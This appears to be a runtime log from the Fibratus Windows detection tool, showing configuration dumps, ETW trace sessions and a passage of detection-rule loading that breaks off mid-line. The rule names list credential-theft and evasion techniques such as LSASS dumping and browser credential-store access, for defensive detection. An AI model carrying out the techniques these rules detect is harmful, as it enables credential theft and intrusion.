msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 enabled=>false use-template=>true to=>[] content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ flush-interval=>1s enable-audit-api=>true buffer-size=>512 enable-handle=>false enable-mem=>false enable-threadpool=>false min-buffers=>16 enable-vamap=>true enable-registry=>true enable-net=>true stack-enrichment=>true enable-dns=>false enable-thread=>true max-buffers=>36 enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true level=>info formatter=>text max-size=>100 max-age=>0] + output ......................... [ http=>[ timeout=>5s method=>POST enabled=>false tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false endpoints=>[]] elasticsearch=>[ sniff=>false healthcheck-interval=>10s healthcheck-timeout=>5s enabled=>false gzip-compression=>false index-name=>fibratus healthcheck=>true trace-log=>false bulk-workers=>1 timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ level=>info enabled=>false] amqp=>[ tls-insecure-skip-verify=>false passive=>false vhost=>/ url=>amqp://localhost:5672 enabled=>false delivery-mode=>transient durable=>false exchange=>fibratus timeout=>5s routing-key=>fibratus exchange-type=>topic]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false fastscan=>true skip-files=>false enabled=>false excluded-procs=>[] excluded-files=>[] scan-timeout=>10s skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T16:08:06+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:08:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:08:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T16:08:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:08:52+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:12:55+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T16:12:55+01:00 level=info msg=bootstrapping with pid 17880. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T16:12:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] enabled=>false content-type=>text/html use-template=>true port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-audit-api=>true buffer-size=>512 enable-image=>true enable-dns=>false enable-registry=>true enable-fileio=>true stack-enrichment=>true enable-handle=>false flush-interval=>1s enable-vamap=>true min-buffers=>16 enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false max-buffers=>36 enable-net=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true max-backups=>15 max-age=>0 max-size=>100 level=>info] + output ......................... [ http=>[ serializer=>json timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] enabled=>false enable-gzip=>false method=>POST] elasticsearch=>[ bulk-workers=>1 index-name=>fibratus template-name=>fibratus flush-period=>1s gzip-compression=>false servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck=>true healthcheck-interval=>10s sniff=>false enabled=>false timeout=>5s healthcheck-timeout=>5s] amqp=>[ tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/ routing-key=>fibratus passive=>false exchange-type=>topic delivery-mode=>transient timeout=>5s enabled=>false url=>amqp://localhost:5672 durable=>false] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] skip-registry=>false excluded-files=>[] skip-files=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T16:12:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:12:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:14:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T16:14:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:14:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:15:06+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T16:15:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from 